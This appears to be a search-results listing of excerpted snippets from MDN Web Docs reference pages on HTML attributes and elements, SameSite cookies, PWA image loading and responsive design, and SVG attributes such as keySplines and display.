... understanding wcag, guideline 3.1 explanations understanding success criterion 3.1.1 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of '<html>' in that specification. living standard html5the definition of '<html>' in that specification. recommendation added support for the manifest
attribute (deprecated later). obsoleted the version
attribute html 4.01 specificationthe definition of '<html>' in that specification. recommendation deprecated the version
attribute ...
<input type="reset"> - HTML: Hypertext Markup Language
clone https://github.com/mdn/interactive-examples and send us a pull request. you should usually avoid including reset buttons in your forms. they're rarely useful, and are instead more likely to frustrate users who click them by mistake (often while trying to click the submit button). value a domstring used as the button's label events click supported common
attributes type and value idl
attributes value methods none value an <input type="reset"> element's value
attribute contains a domstring that is used as the button's label. buttons such as reset don't have a value otherwise. <input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but this...
...<input id="example" type="text"> </div> <div> <input type="reset" value="reset the form"> </div> </form> this renders like so: try entering some text into the text field, and then pressing the reset button. adding a reset keyboard shortcut to add a keyboard shortcut to a submit button — just as you would with any <input> for which it makes sense — you use the accesskey global
attribute. in this example, r is specified as the access key (you'll need to press r plus the particular modifier keys for your browser/os combination; see accesskey for a useful list of those). <form> <div> <label for="example">type in some sample text</label> <input id="example" type="text"> </div> <div> <input type="reset" value="reset the form" accesskey="r"> </div> </form> ...
...ser to know what the access key is! this is especially true since the modifiers are typically non-standard to avoid conflicts. when building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). ...
...that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). adding a tooltip to the button (using the title
attribute) can also help, although it's not a complete solution for accessibility purposes. disabling and enabling a reset button to disable a reset button, simply specify the disabled global
attribute on it, like so: <input type="reset" value="disabled" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false; in javascript this looks like btn.disabled = true or btn.disabled = false. note: see the <input type="button"> page for more ideas about enabling and disabling buttons. validation buttons don't participate in constraint validation; the...
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
robably one of the least understood of all of the early html elements. html "0.a" - from the beginning through january 10, 1991 this tag had not been invented as yet, so no examples are found from this period. html "0.c" - from january 23, 1991 though november 23, 1992 this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "
attribute." html "0.d" - from november 26, 1992 through may 24, 1993 during this span, next and the oldest surviving dtd's show <nextid> to take only a number for a value of its newly-introduced
attribute n. html "1.k" - version 1 (first release) in this first published draft of html, <nextid> is the same as it would take in html 2, finally allowing the use of a name instead of only a number for its at...
...des all the forms elements, i. e. ...
... n reference to anchor. example the user enters four section headings into the table of contents (and presumably also writing paragraph material within these sections). the heading for each of the four sections would be assigned name values of "z0", "z1", "z2", and "z3". ...
... n reference to anchor. ...
<ol>: The Ordered List element - HTML: Hypertext Markup Language
, <script> and <template> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlolistelement
attributes this element also accepts the global
attributes. reversed this boolean
attribute specifies that the list’s items are in reverse order. items will be numbered from high to low. start an integer to start counting from for the list items. always an arabic numeral (1, 2, 3, etc.), even when the numbering type is letters or roman numerals. for example, to start numbering elements from the le...
...umbering type is letters or roman numerals. for example, to start numbering elements from the letter "d" or the roman numeral "iv," use start="4". type sets the numbering type: a for lowercase letters a for uppercase letters i for lowercase roman numerals i for uppercase roman numerals 1 for numbers (default) the specified type is used for the entire list unless a different type
attribute is used on an enclosed <li> element. note: unless the type of the list number matters (like legal or technical documents where items are referenced by their number/letter), use the css list-style-type property instead. usage notes typically, ordered list items display with a preceding marker, such as a number or letter. the <ol> and <ul> elements may nest as deeply as desired, alterna...
...der of the list items; if the meaning changes, use the <ol> element — otherwise you can use <ul>. ...
... recommendation deprecated compact and type. ...
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
. content categories flow content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
...lpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlpreelement
attributes this element only includes the global
attributes. cols contains the preferred count of characters that a line should have. it was a non-standard synonym of width. to achieve such an effect, use css width instead. width contains the preferred count of characters that a line should have. though technically still implemented, this
attribute has no visual effect; to achieve such an effect, use css width instead. wrap is a hint indic...
...cribe the image or diagram's content. people experiencing low vision conditions and browsing with the aid of assistive technology such as a screen reader may not understand what the preformatted text characters are representing when they are read out in sequence. a combination of the <figure> and <figcaption> elements, supplemented by a combination of an id and the aria role and aria-labelledby
attributes allow the preformatted text to be announced as an image, with the figcaption serving as the image's alternate description. example <figure role="img" aria-labelledby="cow-caption"> <pre> ___________________________ < i'm an expert in my field. > --------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | ...
...mment html living standardthe definition of '<pre>' in that specification. living standard no significant change from html5 html5the definition of '<pre>' in that specification. recommendation no significant change from html 4.01 specification html 4.01 specificationthe definition of '<pre>' in that specification. recommendation deprecated the cols
attribute ...
<ul>: The Unordered List element - HTML: Hypertext Markup Language
, <script> and <template> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
...tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlulistelement
attributes this element includes the global
attributes. compact this boolean
attribute hints that the list should be rendered in a compact style. the interpretation of this
attribute depends on the user agent, and it doesn't work in all browsers. warning: do not use this
attribute, as it has been deprecated: use css instead. to give a similar effect as the compact
attribute, the css property line-height can be used with a value of 80%. ...
...the values defined under html3.2 and the transitional version of html 4.0/4.01 are: circle disc square a fourth bullet type has been defined in the webtv interface, but not all browsers support it: triangle. ...
...es defined under html3.2 and the transitional version of html 4.0/4.01 are: circle disc square a fourth bullet type has been defined in the webtv interface, but not all browsers support it: triangle. if not present and if no css list-style-type property applies to the element, the user agent selects a bullet type depending on the nesting level of the list. warning: do not use this
attribute, as it has been deprecated; use the css list-style-type property instead. usage notes the <ul> element is for grouping a collection of items that do not have a numerical ordering, and their order in the list is meaningless. typically, unordered-list items are displayed with a bullet, which can be of several forms, like a dot, a circle, or a square. the bullet style is not defined in the ht...
id - HTML: Hypertext Markup Language
consider ticket-18659 versus r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). ...
...id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this
attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your ids somewhat human-readable can be useful for code comprehension, e.g. consider ticket-18659 versus r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). browsers treat non-conforming ids that contain whitespace as if the whitespace i...
...at web authors should not rely on it to convey human-readable information (although having your ids somewhat human-readable can be useful for code comprehension, e.g. consider ticket-18659 versus r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). browsers treat non-conforming ids that contain whitespace as if the whitespace is part of the id. in contrast to the class
attribute, which allows space-separated values, elements can only have one single id value. note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4. though this restriction has been lifted in html5, an id should start with a letter for compatibility. specifications specification status comment htm...
...ving standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification. recommendation snapshot of html living standard, no change from html5 html5the definition of 'id' in that specification. recommendation snapshot of html living standard, now accept '_', '-' and '.' if not at the beginning of the id. it is also a true global
attribute. html 4.01 specificationthe definition of 'id' in that specification. recommendation supported on all elements but <base>, <head>, <html>, <meta>, <script>, <style>, and <title>. ...
itemscope - HTML: Hypertext Markup Language
itemscope is a boolean global
attribute that defines the scope of associated metadata. specifying the itemscope
attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element. a related
attribute, itemtype, is used to specify the valid url of a vocabulary (such as schema.org) that describes the item and its properties context. in each of the following examples, the vocabulary is from schema.org. every html element may have an itemscope
attribute specified. an itemscope element that does not have an associated itemtype must have an associated itemref. note: find more about itemtype
attributes at http://schema.org/thing simple example html the following example specifies the itemscope
attribute. the example specifies the itemtyp...
...lement may have an itemscope
attribute specified. an itemscope element that does not have an associated itemtype must have an associated itemref. note: find more about itemtype
attributes at http://schema.org/thing simple example html the following example specifies the itemscope
attribute. the example specifies the itemtype as "http://schema.org/movie", and specifies three related itemprop
attributes. <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding examp...
... structured data the following table shows the structured data from the preceding example. itemscope itemtype movie itemprop (itemprop name) (itemprop value) itemprop director james cameron itemprop genre science fiction itemprop name avatar itemprop https://youtu.be/0ay1xikx7by trailer itemscope id
attributes when you specify the itemscope
attribute for an element, a new item is created. the item consists of a group of name-value pairs. for elements with an itemscope
attribute and an itemtype
attribute, you may also specify an id
attribute. you can use the id
attribute to set a global identifier for the new item. a global identifier allows the item to relate to other items found on pages across the ...
...ute for an element, a new item is created. the item consists of a group of name-value pairs. for elements with an itemscope
attribute and an itemtype
attribute, you may also specify an id
attribute. you can use the id
attribute to set a global identifier for the new item. a global identifier allows the item to relate to other items found on pages across the web. example there are four itemscope
attributes in the following example. each itemscope
attribute sets the scope of its corresponding itemtype
attribute. the itemtypes, recipe, aggregaterating, and nutritioninformation in the following example are part of the schema.org structured data for a recipe, as specified by the first itemtype, http://schema.org/recipe. <div itemscope itemtype="http://schema.org/recipe"> <h2 itemprop="name">grandma...
lang - HTML: Hypertext Markup Language
the lang global
attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. the
attribute contains a single “language tag” in the format defined in tags for identifying languages (bcp47). the default value of lang is unknown, therefore it is recommended to always specify this
attribute with the appropriate value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... for identifying languages (bcp47). the default value of lang is unknown, therefore it is recommended to always specify this
attribute with the appropriate value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if the
attribute value is the empty string (lang=""), the language is set to unknown; if the language tag is not valid according to bcp47, it is set to invalid. language tag syntax the full bcp47 syntax is in-depth enough to mark extremely specific language dialects, but most usage is much simpler. a language tag is made of hyphen-separated language subtags, where each subtag indicates a certain property of t...
... example, es-es is for spanish as spoken in spain, and es-013 is spanish as spoken in central america. “international spanish” would just be es. the script subtag precedes the region subtag if both are present — ru-cyrl-by is russian, written in the cyrillic alphabet, as spoken in belarus. to find the correct subtag codes for a language, try the language subtag lookup. even if the lang
attribute is set, it may not be taken into account, as the xml:lang
attribute has priority. for the css pseudo-class :lang, two invalid language names are different if their names are different. so while :lang(es) matches both lang="es-es" and lang="es-419", :lang(xyzzy) would not match lang="xyzzy-zorp!". specifications specification status comment html living standardthe de...
...ard no change from latest snapshot, html 5.1 html 5.1the definition of 'lang' in that specification. recommendation snapshot of html living standard, no change from html5 html5the definition of 'lang' in that specification. recommendation snapshot of html living standard, behavior with xml:lang and language determination algorithm defined. it also is a true global
attribute. html 4.01 specificationthe definition of 'lang' in that specification. recommendation supported on all elements but <applet>, <base>, <basefont>, <br>, <frame>, <frameset>, <iframe>, <param>, and <script>. ...
tabindex - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with javascript or visually by clicking with the mouse. it's mostly useful to create accessible widgets with javascript. ...
...ther follows their position in the document source. the maximum value for tabindex is 32767. if not specified, it takes the default value 0. avoid using tabindex values greater than 0. doing so makes it difficult for people who rely on assistive technology to navigate and operate page content. instead, write the document with the elements in a logical sequence. if you set the tabindex
attribute on a <div>, then its child content cannot be scrolled with the arrow keys unless you set tabindex on the content, too. check out this fiddle to understand the scrolling effects of tabindex. accessibility concerns avoid using the tabindex
attribute in conjunction with non-interactive content to make something intended to be interactive focusable by keyboard input. an example of this would be usi...
...revents assistive technology from being able to navigate to and manipulate those components. the content should be semantically described using interactive elements (<a>, <button>, <details>, <input>, <select>, <textarea>, etc.) instead. these elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by aria. using the tabindex
attribute | the paciello group specifications specification status comment html living standardthe definition of 'tabindex' in that specification. living standard no change from latest snapshot, html 5.1. html 5.1the definition of 'tabindex' in that specification. recommendation snapshot of html living standard, no change from html5. html5the def...
... 'tabindex' in that specification. living standard no change from latest snapshot, html 5.1. html 5.1the definition of 'tabindex' in that specification. recommendation snapshot of html living standard, no change from html5. html5the definition of 'tabindex' in that specification. recommendation snapshot of html living standard. from html 4.01 specification, the
attribute is now supported on all elements (global
attributes). html 4.01 specificationthe definition of 'tabindex' in that specification. recommendation only supported on <a>, <area>, <button>, <input>, <object>, <select>, and <textarea>. ...
Microformats - HTML: Hypertext Markup Language
n api to be used by search engines, aggregators, and other tools. these minimal patterns of html are used for marking up entities that range from fundamental to domain-specific information, such as people, organizations, events, and locations. microformats use supporting vocabularies to describe objects and name-value pairs to assign values to their properties. the properties are carried in class
attributes that can be added to any html element, while the data values re-use html element content and semantic
attributes. microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approaches of using rdfa and microdata which require learning new
attributes. microformats are supported by all major search engines. search engin...
...rmats are supported by all major search engines. search engines benefit greatly from direct access to this structured data because it allows them to understand the information on web pages and provide more relevant results to users. in addition to being machine-readable, their format is designed to be easily read by humans. to create a microformats object, h-* class names are used in the class
attribute. to add a property to an object, the p-*, u-*, dt-*, e-* class names are used on one of the object's descendants. there are open source parsing libraries for most languages for microformats2. how microformats work an author of a webpage can add microformats to their html. for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" hre...
...le: h-card describes a person or organization h-entry describes episodic or date stamped online content like a blog post h-feed describes a stream or feed of posts you can find many more vocabularies on the microformats2 wiki. "p-*" for plain (text) properties, e.g. "p-name", "p-summary" generic plain text parsing, element text in general. ...
...escribes a stream or feed of posts you can find many more vocabularies on the microformats2 wiki. "p-*" for plain (text) properties, e.g. "p-name", "p-summary" generic plain text parsing, element text in general. on certain html elements, use special
attributes first, e.g. img/alt, abbr/title. "u-*" for url properties, e.g. "u-url", "u-photo", "u-logo" special parsing: element
attributes a/href, img/src, object/data etc.
attributes over element contents. "dt-*" for datetime properties, e.g. "dt-start", "dt-end", "dt-bday" special parsing: time element datetime
attribute, value-class-pattern and separate date time value parsing for readability. "e-*" for element tree properties where the entire contained element hierarchy is the value, e.g. "e-content". the "e-" pre...
SameSite cookies - HTTP
this is the default value in modern browsers. strict cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. none cookies will be sent in all contexts, i.e sending cross-origin is allowed. ...
...ent in a first-party context and not be sent along with requests initiated by third party websites. none cookies will be sent in all contexts, i.e sending cross-origin is allowed. none used to be the default value, but recent browser versions made lax the default value to have reasonably robust defense against some classes of cross-site request forgery (csrf) attacks. none requires the secure
attribute in latest browser versions. see below for more information. fixing common warnings samesite=none requires secure the following warning might appear in your console: some cookies are misusing the “samesite“
attribute, so it won’t work as expected. cookie “mycookie” rejected because it has the “samesite=none”
attribute but is missing the “secure”
attribute. the warning app...
... set-cookie: flavor=choco; samesite=none; secure a secure cookie is only sent to the server with an encrypted request over the https protocol. note that insecure sites (http:) can't set cookies with the secure directive. ...
... sent to the server with an encrypted request over the https protocol. note that insecure sites (http:) can't set cookies with the secure directive. cookies without samesite default to samesite=lax recent versions of modern browsers provide a more secure default for samesite to your cookies and so the following message might appear in your console: some cookies are misusing the “samesite“
attribute, so it won’t work as expected. cookie “mycookie” has “samesite” policy set to “lax” because it is missing a “samesite”
attribute, and “samesite=lax” is the default value for this
attribute. the warning appears because the samesite policy for a cookie has not specified explicitly: set-cookie: flavor=choco while you could rely on modern browsers to apply samesite=lax auto...
Progressive loading - Progressive web apps (PWAs)
be optimized. first of all, you should use tools or services similar to tinypng, which will reduce the file size of your images without altering the quality too much. if you're past that point, then you can start thinking about optimizing the image loading using javascript. we'll expain this below. ...
...sing javascript. we'll expain this below. placeholder image instead of having all the screenshots of games referenced in <img> element src
attributes, which will force the browser to download them automatically, we can do it selectively via javascript. the js13kpwa app uses a placeholder image instead, which is small and lightweight, while the final paths to target images are stored in data-src
attributes: <img src='data/img/placeholder.png' data-src='data/img/slug.jpg' alt='name'> those images will be loaded via javascript after the site finishes building the html structure. the placeholder image is scaled the same way the original images are, so it will take up the same space and not cause the layout to repaint as the images load. loading via javascript the app.js file processes the data-s...
... <img src='data/img/placeholder.png' data-src='data/img/slug.jpg' alt='name'> those images will be loaded via javascript after the site finishes building the html structure. the placeholder image is scaled the same way the original images are, so it will take up the same space and not cause the layout to repaint as the images load. loading via javascript the app.js file processes the data-src
attributes like so: let imagestoload = document.queryselectorall('img[data-src]'); const loadimages = (image) => { image.set
attribute('src', image.get
attribute('data-src')); image.onload = () => { image.remove
attribute('data-src'); }; }; the imagestoload variable contains references to all the images, while the loadimages function moves the path from data-src to src. when each image is actually...
...then we loop through each image and load it: imagestoload.foreach((img) => { loadimages(img); }); blur in css to make the whole process more visually appealing, the placeholder is blurred in css. ...
The building blocks of responsive design - Progressive web apps (PWAs)
nsition effect between cards when the buttons are pressed. for more on using brick, read mozilla brick: ready made ui components. what's more relevant to this article is that we didn't want the brick css and javascript files being applied to the markup unless we were looking at the mobile app view. to achieve this, we applied the brick css to the page using a separate <link> element with a media
attribute: <link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"> this says that the whole stylesheet will not be linked to the html unless the viewport width is 480px or less. moving on to the javascript, <script> elements don't accept media
attributes, so i had to do this a different way. fortunately there is a javascript construct called window.matchmedia(), w...
...s not — we are providing a number of media query options, as at this time different browsers support different resolution media query types and even units. brett jankord has a good explanation at cross browser retina/high resolution media queries. <video> html5 video is fairly well catered for in terms of responsive capabilities. ...
... html5 video is fairly well catered for in terms of responsive capabilities. if you wish, you can point to multiple video files via <source>
attributes, each with their own source and mime type: <video controls> <source src="videos/720/crystal720.mp4" type="video/mp4"> <source src="videos/720/crystal720.webm" type="video/webm"> </video> but you can go one step further. you can include media
attributes on the <source> element containing media queries — the video loaded in the browser will depend on both the format the browser supports, and the results of the media tests. so for example: <video controls> <source src="videos/320/crystal320.mp4" type="video/mp4" media="all and (max-width: 480px)"> <source src="videos/320/crystal320.webm" type="video/webm" media="all and (max-width: 480px)"...
...posals in the works that would provide this — the w3c responsive images community group discussed this problem for ages and arrived at the <picture> element, which provides a similar markup structure to <video>, with <source> alternatives selectable via media query results. another proposal, srcset, was put forward by apple and takes a slightly different approach, instead providing a new srcset
attribute for <img> inside which image references are placed along with "hints" that the browser can use to work out which image is most suitable to display given its viewport size, resolution, etc. these are not intended to be mutually exclusive. this all sounds good. but those solutions are definitely not ready for production yet — both are in a very early stage of standardization, and have no support...
calcMode - SVG: Scalable Vector Graphics
linear simple linear interpolation between values is used to calculate the animation function. except for <animatemotion>, this is the default value. ...
... linear simple linear interpolation between values is used to calculate the animation function. except for <animatemotion>, this is the default value. ...
... linear simple linear interpolation between values is used to calculate the animation function. except for <animatemotion>, this is the default value. ...
...ch some notion of "distance" between points can be calculated (e.g. position, width, height, etc.). if paced is specified, any keytimes or keysplines will be ignored. for <animatemotion>, this is the default value. spline interpolates from one value in the values list to the next according to a time function defined by a cubic bézier spline. the points of the spline are defined in the keytimes
attribute, and the control points for each interval are defined in the keysplines
attribute. specifications specification status comment svg animations level 2the definition of 'calcmode' in that specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'calcmode' in that specification. recommendation ini...
data-* - SVG: Scalable Vector Graphics
hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format. ...
...hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format. ...
...hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format. ...
...their custom data are available via the svgelement interface of the element the
attributes belong to, with the svgelement.dataset property. the * can be replaced by any characters allowed in xml's rules for names, with the following restrictions: can't start with xml. no semicolons (;, u+003a). no capital a to z letters. the svgelement.dataset property is a domstringmap that provides the
attribute data-test-value via svgelement.dataset.testvalue. hyphen characters (-, u+002d) are removed and the next letter is capitalized, resulting in the camelcase format. specifications specification status comment scalable vector graphics (svg) 2the definition of 'data-*' in that specification. candidate recommendation custom data
attributes are new in svg 2. ...
display - SVG: Scalable Vector Graphics
the display
attribute lets you control the rendering of graphical or container elements. a value of display="none" indicates that the given element and its children will not be rendered. any value other than none or inherit indicates that the given element will be rendered by the browser. when applied to a container element, setting display to none causes the container and all of its children to be invisible; thus, it acts on groups of elements as a group. this means that any child of an element with display="none" will never be rendered even if the child has a value for display other than none. when the display
attribute is set to none, then the given element does not become part of the rendering tree. it has implications for the <tspan>, <tref>, and <altglyph> elements, event processing, for ...
...ons and for calculation of clipping paths: if display is set to none on a <tspan>, <tref>, or <altglyph> element, then the text string is ignored for the purposes of text layout. regarding events, if display is set to none, the element receives no events. the geometry of a graphics element with display set to none is not included in bounding box and clipping paths calculations. the display
attribute only affects the direct rendering of a given element, whereas it does not prevent elements from being referenced by other elements. for example, setting it to none on a <path> element will prevent that element from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing e...
..., whereas it does not prevent elements from being referenced by other elements. for example, setting it to none on a <path> element will prevent that element from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none. this
attribute also affects direct rendering into offscreen canvases, such as occurs with masks or clip paths. thus, setting display="none" on a child of a <mask> will prevent the given child element from being rendered as part of the mask. similarly, setting display="none" on a child of a <clippath> element will prevent the given child element from contributing to the clipping path. note: as a presentation at...
...ng display="none" on a child of a <mask> will prevent the given child element from being rendered as part of the mask. similarly, setting display="none" on a child of a <clippath> element will prevent the given child element from contributing to the clipping path. note: as a presentation
attribute, display can be used as a css property. see css display for further information. as a presentation
attribute, it can be applied to any element. html, body, svg { height: 100%; } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- here the yellow rectangle is displayed --> <rect x="0" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="20" y="20" width="60" height="60" fill="yellow"></rect> <!-- here the yellow rectangle is not displayed --> <rect x="120" y="0...
dx - SVG: Scalable Vector Graphics
the dx
attribute indicates a shift along the x-axis on the position of an element or its content. ...
... the dx
attribute indicates a shift along the x-axis on the position of an element or its content. ...
...ph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. value list of <length> default value none animatable yes fedropshadow for <fedropshadow>, dx defines the x offset of the droped shadow. the unit used to resolve the value of the
attribute is set by the primitiveunits
attribute of the <filter> element. value <number> default value 2 animatable yes feoffset for <feoffset>, dx defines the x offset of the filter input graphic. the unit used to resolve the value of the
attribute is set by the primitiveunits
attribute of the <filter> element. value <number> default value...
... for <tref>, if it contains a single value, dx defines a shift along the x-axis for all glyp...
dy - SVG: Scalable Vector Graphics
the dy
attribute indicates a shift along the y-axis on the position of an element or its content. ...
... the dy
attribute indicates a shift along the y-axis on the position of an element or its content. ...
...elative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none animatable yes fedropshadow for <fedropshadow>, dy defines the y offset of the dropped shadow. the unit used to resolve the value of the
attribute is set by the primitiveunits
attribute of the <filter> element. value <number> default value 2 animatable yes feoffset for <feoffset>, dy defines the y offset of the filter input graphic. the unit used to resolve the value of the
attribute is set by the primitiveunits
attribute of the <filter> element. value <number> default value...
... for <tref>, if it contains a single value, dy defines a shift along the y-axis for all glyphs. if ther...
keySplines - SVG: Scalable Vector Graphics
the keysplines
attribute defines a set of bézier curve control points associated with the keytimes list, defining a cubic bézier function that controls interval pacing. this
attribute is ignored unless the calcmode
attribute is set to spline. if there are any errors in the keysplines specification (bad values, too many or too few values), the animation will not occur. ...
...lines
attribute defines a set of bézier curve control points associated with the keytimes list, defining a cubic bézier function that controls interval pacing. this
attribute is ignored unless the calcmode
attribute is set to spline. if there are any errors in the keysplines specification (bad values, too many or too few values), the animation will not occur. ...
...o spline. if there are any errors in the keysplines specification (bad values, too many or too few values), the animation will not occur. ...
...ransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate
attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate
attributename="cy" dur="4s" calcmode="spline" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> </circle> </svg> usage notes value <control-point> [ ; <control-point> ]* ;? default value none animatable no the
attribute value is ...
maskUnits - SVG: Scalable Vector Graphics
the maskunits
attribute indicates which coordinate system to use for the geometry properties of the <mask> element. ...
... the maskunits
attribute indicates which coordinate system to use for the geometry properties of the <mask> element. ...
... objectboundingbox this value indicates that all coordinates f...
...url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskunits defines the coordinate system in use for the geometry
attributes (x, y, width and height) of the element. value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that all coordinates for the geometry
attributes refer to the user coordinate system as defined when the mask was created. objectboundingbox this value indicates that all coordinates for the geometry
attributes represent fractions or percentages of the bounding box of the element to which the mask is applied. a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1" viewbox. specifications ...
max - SVG: Scalable Vector Graphics
the max
attribute specifies the maximum value of the active animation duration. ...
... the max
attribute specifies the maximum value of the active animation duration. ...
... the max
attribute specifies the maximum value of the active animation duration. ...
...ing this
attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate
attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate
attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifies the length of the maximum value of the active duration, measured in local time. the value must be greater ...
min - SVG: Scalable Vector Graphics
the min
attribute specifies the minimum value of the active animation duration. ...
... the min
attribute specifies the minimum value of the active animation duration. ...
... the min
attribute specifies the minimum value of the active animation duration. ...
...ing this
attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate
attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate
attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies the length of the minimum value of the active duration, measured in local time. the value must be greater tha...
requiredExtensions - SVG: Scalable Vector Graphics
the requiredextensions
attribute defines a list of required language extensions. language extensions are capabilities within a user agent that go beyond the feature set defined in this specification. each extension is identified by an url reference. usage notes value <list-of-extensions> default value none animatable no <list-of-extensions> the value is a list of references (iri references in svg 1, url references in svg 2) which identify the required extensions, with the individual values separated by white space. determines whether all of the named extensions are supported by the user agent. ...
... default value none animatable no <list-of-extensions> the value is a list of references (iri references in svg 1, url references in svg 2) which identify the required extensions, with the individual values separated by white space. determines whether all of the named extensions are supported by the user agent. ...
... note: if several extension reference objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. ...
...in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several extension reference objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases. if the
attribute is not present, then it implicitly evaluates to "true". if a null string or empty string value is given, the
attribute evaluates to "false". the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that script writers can distinguish between different versions of a given extension. specifications specification statu...
text-anchor - SVG: Scalable Vector Graphics
the text-anchor
attribute is used to align (start-, middle- or end-alignment) a string of pre-formatted text or auto-wrapped text where the wrapping area is determined from the inline-size property relative to a given point. it is not applicable to other types of auto-wrapped text. for those cases you should use text-align. for multi-line text, the alignment takes place for each line. the text-anchor
attribute is applied to each individual text chunk within a given <text> element. ...
